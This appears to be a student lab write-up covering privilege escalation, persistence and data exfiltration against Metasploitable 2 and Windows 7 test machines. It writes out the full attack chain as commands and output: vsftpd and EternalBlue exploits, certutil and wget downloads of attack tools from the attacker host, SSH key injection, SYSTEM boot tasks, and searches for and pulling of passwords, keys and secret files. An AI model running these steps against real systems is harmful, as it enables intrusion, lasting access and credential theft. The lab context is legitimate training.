



Muneeb Ahmed

CSI-B1-358

Topic : Privilege Escalation & Data Exfiltration

Executive Summary

Task 1 — Linux Privilege Escalation

Gained initial access via the vsftpd 2.3.4 backdoor exploit through Metasploit, landing as a low-privilege www-data shell. Manual enumeration revealed a misconfigured SUID bit on /usr/bin/nmap. Exploiting nmap's interactive mode spawned a root shell instantly. Automated tools LinPEAS and LSE were then transferred to the target via a Python HTTP server and executed to confirm findings and identify additional attack paths including writable files, cron jobs, and stored credentials.

Task 2 — Windows Privilege Escalation

Exploited the MS17-010 EternalBlue vulnerability to gain a Meterpreter session on Windows 7 x64. WinPEAS and PowerUp.ps1 were transferred and executed to enumerate unquoted service paths, weak permissions, and token privileges. SeImpersonatePrivilege was identified as enabled, which allowed PrintSpoofer64 to be deployed for token impersonation, escalating directly to NT AUTHORITY\SYSTEM. Key challenge encountered was an x86/x64 architecture mismatch which was resolved by using the correct 64-bit tools and payloads.

Task 3 — Establishing Persistence

On Linux, two persistence methods were implemented. First, an SSH public key was injected into the target's authorized_keys file allowing passwordless re-entry after any reboot. Second, a cron job was created to send a reverse

shell back to Kali every hour automatically. On Windows, a scheduled task was created under the SYSTEM account to execute on every boot, and a Registry Run Key was added to HKCU to auto-execute a payload on every user login. A real backdoor was also generated using msfvenom to demonstrate actual persistent reverse shell access replacing the calc.exe proof of concept.

Task 4 — Post-Exploitation & Data Exfiltration

Post-exploitation enumeration focused on finding the Crown Jewels. Configuration files (.env, settings.py, web.config) were searched for hardcoded database credentials and API keys. SSH private keys were harvested from the Linux target. Windows browser credential locations were identified. Files were successfully exfiltrated from the target to Kali using three methods: Python HTTP Server.

Phase 01 : Privilege Escalation on Metasploitable 2

1- Get in + manually find weaknesses

1. Find Metasploitable's IP using ifconfig on Metasploitable or netdiscover.
2. Launch Metasploit on Kali
3. Use the FTP Exploit to Get a Shell : use exploit/unix/ftp/vsftpd_234_door.
4. set RHOST <metasploitable-ip> & set LHOST<kali-ip>
5. And then '*exploit*'

A Kali Linux terminal window titled "kali [Running] - Oracle VirtualBox". The terminal shows the Metasploit framework interface. At the top, there's a navigation bar with icons for Kali, a file explorer, and a list of tabs numbered 1 through 4. Below the navigation bar, the terminal displays the session actions menu (Session, Actions, Edit, View, Help) and the current session information: "(kali@kali) - [~/Desktop/Cyberster/week05]". The prompt is "\$ msfconsole". A message from Metasploit states: "Metasploit tip: Writing a custom module? After editing your module, why not try the reload command". Below this, there's a large ASCII art graphic. The graphic consists of a central text area surrounded by a border of asterisks. The central text reads: "Metasploit v6.4.99-dev", "2,572 exploits - 1,317 auxiliary - 1,683 payloads", "433 post - 49 encoders - 13 nops - 9 evasion", and "Metasploit Documentation: https://docs.metasploit.com/". Below the ASCII art, the terminal shows the Metasploit prompt "msf" and the command "use exploit/unix/ftp/vsftpd_234_backdoor". The prompt then shows the command "exploit(unix/ftp/vsftpd_234_backdoor) > set RHOST 192.168.0.109". The prompt then shows the command "set LHOST 192.168.0.110". The prompt then shows the command "exploit". The output of the command shows the session opening: "Command shell session 1 opened (192.168.0.110:43979 -> 192.168.0.109:6200) at 2026-04-02 10:07:36 -0400".

6. The shell you get is unstable/basic. Make it better by running:
`python -c 'import pty; pty.spawn("/bin/bash")'`

2- Automated Enumeration with LinPEAS & LSE

LinPEAS is a Linux script used in cybersecurity to find ways to escalate privileges (i.e., become root/admin).

It's part of the PEAS (Privilege Escalation Awesome Scripts) suite.

1. Download LinPEAS on Kali

```
'wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh'
```

2. Host LinPEAS via Python HTTP Server

```
'Python -m http.server 8000'
```

3. Having root access to Metasploitable 2 download linpeas.sh

```
'wget http://<KALI-IP>:8000/linpeas.sh'
```

4. Chmod +x linpas.sh

5. Run linpeas.sh : ./linpeas.sh

```
(kali@kali)-[~/Desktop/Cyberster/week05]
$ wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh

2026-04-02 11:02:11 (1.11 MB/s) - 'linpeas.sh' saved [1031103/1031103]

(kali@kali)-[~/Desktop/Cyberster/week05]
$ ls -la linpeas.sh
-rw-rw-r-- 1 kali kali 1031103 Apr  1 07:17 linpeas.sh

(kali@kali)-[~/Desktop/Cyberster/week05]
$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
192.168.0.109 - - [02/Apr/2026 11:06:34] "GET /linpeas.sh HTTP/1.0" 200 -
```

```
sh-3.2# chmod +x linpeas.sh
chmod +x linpeas.sh
sh-3.2# ./linpeas.sh
./linpeas.sh
```



Do you like PEASS?

Learn Cloud Hacking	:	https://training.hacktricks.xyz
Follow on Twitter	:	@hacktricks_live
Respect on HTB	:	SirBroccoli

Thank you!

LinPEAS-ng by carlospolop

ADVISORY: This script should be used for authorized penetration testing and/or educational purposes only

Phase 02 : Privilege Escalation on Windows 7

Hacking into Windows 7 using the EternalBlue exploit, get a low-privilege shell, then escalate to SYSTEM

EternalBlue : is a critical security vulnerability (CVE-2017-0144) in Microsoft's Server Message Block (SMBv1) protocol that allows attackers to execute remote code.

1. On Kali msfconsole and get access

use `exploit/windows/smb/ms17_010_eternalblue`

```
msf > use exploit/windows/smb/ms17_010_eternalblue
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf exploit(windows/smb/ms17_010_eternalblue) > set RHOST 192.168.0.107
RHOST => 192.168.0.107
msf exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.0.110
LHOST => 192.168.0.110
msf exploit(windows/smb/ms17_010_eternalblue) > exploit
```

Check Your Current User & Drop into shell

```
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > shell
Process 2044 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Windows\system32>
```

2. Transfer & Run WinPEAS

WinPEAS (Windows Privilege Escalation Awesome Script) is a popular, free, and open-source post-exploitation tool used by cybersecurity professionals to automatically enumerate Windows systems for security misconfigurations and vulnerabilities. It helps

identify pathways to escalate low-privileged access to
administrator/system-level

```
(kali@kali)-[~/Desktop/Cyberster/week05]
$ mv winPEASx64.exe winpeas.exe

(kali@kali)-[~/Desktop/Cyberster/week05]
$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
192.168.0.107 - - [04/Apr/2026 13:53:37] "code 404, message File not found"
192.168.0.107 - - [04/Apr/2026 13:53:37] "GET /home/kali/Desktop/Cyberster/week05/winpeas.exe HTTP/1.1" 404 -
192.168.0.107 - - [04/Apr/2026 13:53:40] "code 404, message File not found"
192.168.0.107 - - [04/Apr/2026 13:53:40] "GET /home/kali/Desktop/Cyberster/week05/winpeas.exe HTTP/1.1" 404 -
192.168.0.107 - - [04/Apr/2026 13:58:40] "code 404, message File not found"
192.168.0.107 - - [04/Apr/2026 13:58:40] "GET /home/kali/Cyberster/week05/winpeas.exe HTTP/1.1" 404 -
192.168.0.107 - - [04/Apr/2026 13:58:40] "code 404, message File not found"
192.168.0.107 - - [04/Apr/2026 13:58:40] "GET /home/kali/Cyberster/week05/winpeas.exe HTTP/1.1" 404 -
192.168.0.107 - - [04/Apr/2026 14:02:15] "GET /winpeas.exe HTTP/1.1" 200 -
192.168.0.107 - - [04/Apr/2026 14:02:19] "GET /winpeas.exe HTTP/1.1" 200 -
```

```
C:\Users\Public>certutil -urlcache -split -f http://192.168.0.110:8000/home/kali/Cyberster/week05/winpeas.exe
certutil -urlcache -split -f http://192.168.0.110:8000/home/kali/Cyberster/week05/winpeas.exe
**** Online ****
0000 ...
014f
CertUtil: -URLCache command FAILED: 0x80190194 (-2145844844)
CertUtil: Error 0x80190194 (-2145844844)

C:\Users\Public>certutil -urlcache -split -f http://192.168.0.110:8000/winpeas.exe winpeas.exe
certutil -urlcache -split -f http://192.168.0.110:8000/winpeas.exe winpeas.exe
**** Online ****
000000 ...
a99c00
CertUtil: -URLCache command completed successfully.
```

3. Transfer & Run PowerUp.ps1

PowerUp.ps1 is a popular PowerShell script designed for Windows
privilege escalation. Get access to windows powershell.

```
(kali@kali)-[~/Desktop/Cyberster/week05]
$ wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1
--2026-04-04 14:13:32-- https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.108.133, 185.199.109.133, 185.199.110.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.108.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 600580 (587K) [text/plain]
Saving to: 'PowerUp.ps1'

PowerUp.ps1
100%[=====]

2026-04-04 14:13:33 (1.01 MB/s) - 'PowerUp.ps1' saved [600580/600580]

(kali@kali)-[~/Desktop/Cyberster/week05]
$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
192.168.0.107 - - [04/Apr/2026 14:15:06] "GET /PowerUp.ps1 HTTP/1.1" 200 -
192.168.0.107 - - [04/Apr/2026 14:15:06] "GET /PowerUp.ps1 HTTP/1.1" 200 -
```


2. Add Key to Metasploitable 2 and set permissions

```
root@metasploitable:/# mkdir -p ~/.ssh
mkdir -p ~/.ssh
root@metasploitable:/# echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAQDHzKm/UTHe8BRXyoWouvBEut+mcFCy9z6dZBwBoGobG1NsHs10kssKl7RXfcoK4Z0MuiLPxyK2FH/Pc5XUoT kali@kali" ~/.ssh/authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAQDHzKZW8TxFQ415FgCD8u8yoLshC1ibv5pdZBwBoGobG1NsHs10kssKl7RXfcoK4Z0MuiLPxyK2FShlEs9erssy/mGn2NVgb07cOWy1Pl
root@metasploitable:/# chmod 700 ~/.ssh
chmod 700 ~/.ssh
root@metasploitable:/# chmod 600 ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys
```

3. Test SSH Access from Kali

```
(kali@kali)-[~]
$ ssh -o "HostKeyAlgorithms=+ssh-rsa" root@192.168.0.100
The authenticity of host '192.168.0.100 (192.168.0.100)' can't be established.
RSA key fingerprint is: SHA256:BQHm5EoHX9GciOLuVscegPXLQ0suPs+E9d/rrJB84rk
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.0.100' (RSA) to the list of known hosts.
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
root@192.168.0.100's password:
```

2- WINDOWS PERSISTENCE (Windows 7)

Even if the victim reboots or your connection drops, you can automatically get back in without exploiting again.

1. In msfconsole, get your meterpreter session

```
msf exploit(windows/smb/ms17_010_eternalblue) > sessions -i

Active sessions

  Id  Name  Type  Information  Connection
  --  --  --  --  --
  59  meterpreter x64/windows NT AUTHORITY\SYSTEM @ WIN7 192.168.0.110:4444 → 192.168.0.107:49159 (192.168.0.107)
```

2. Create Scheduled Task (User Level)

schtasks /create /sc onlogon /tn "TestTask" /tr "C:\Windows\System32\calc.exe"

```
C:\Users\Public>schtasks /create /sc onlogon /tn "TestTask" /tr "C:\Windows\System32\calc.exe" /ru SYSTEM
schtasks /create /sc onlogon /tn "TestTask" /tr "C:\Windows\System32\calc.exe" /ru SYSTEM
SUCCESS: The scheduled task "TestTask" has successfully been created.
```

3. Verify Task exists

```
C:\Users\Public>schtasks /query /tn "TestTask" /fo LIST /v
schtasks /query /tn "TestTask" /fo LIST /v

Folder: \
HostName: WIN7
TaskName: \TestTask
Next Run Time: N/A
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: N/A
Last Result: 1
Author: SYSTEM
Task To Run: C:\Windows\System32\calc.exe
Start In: N/A
Comment: N/A
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management: Stop On Battery Mode, No Start On Batteries
Run As User: SYSTEM
Delete Task If Not Rescheduled: Enabled
Stop Task If Runs X Hours and X Mins: 72:00:00
Schedule: Scheduling data is not available in this format.
Schedule Type: At logon time
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
```

4. Test it : Calculator opened in win 7

schtasks /run /tn "SystemUpdater"

```
C:\Users\Public>schtasks /run /tn "TestTask"
schtasks /run /tn "TestTask"
SUCCESS: Attempted to run the scheduled task "TestTask".
```

5. Now Create SYSTEM Level Boot Persistence : runs on **every boot** even without login!

schtasks /create /sc onstart /tn "SystemUpdater" /tr "C:\Windows\System32\calc.exe" /ru SYSTEM

```
C:\Users\Public>schtasks /create /sc onstart /tn "SystemUpdater" /tr "C:\Windows\System32\calc.exe" /ru SYSTEM
schtasks /create /sc onstart /tn "SystemUpdater" /tr "C:\Windows\System32\calc.exe" /ru SYSTEM
SUCCESS: The scheduled task "SystemUpdater" has successfully been created.
```

Phase 04 : Data Exfiltration

1. Find Configuration Files

```
C:\Windows\system32>dir C:\ /s /b web.config
```

```
C:\Windows\system32>dir C:\ /s /b *.env
```

```
C:\Windows\system32>dir C:\ /s /b systems.py
```

2. Search for Passwords

```
C:\Windows\system32>dir C:\Users\ /s /b | findstr /i "password"
```

3. Find SSH Private Keys

```
C:\Windows\system32>dir C:\ /s /b id_rsa
```

4. Exfiltrate Files Back to Kali

```
C:\Windows\system32>python -m SimpleHTTPServer 9000
```

5. On **Kali** download the file:

```
C:\Windows\system32>wget http://192.168.0.107:9000/secret.txt
```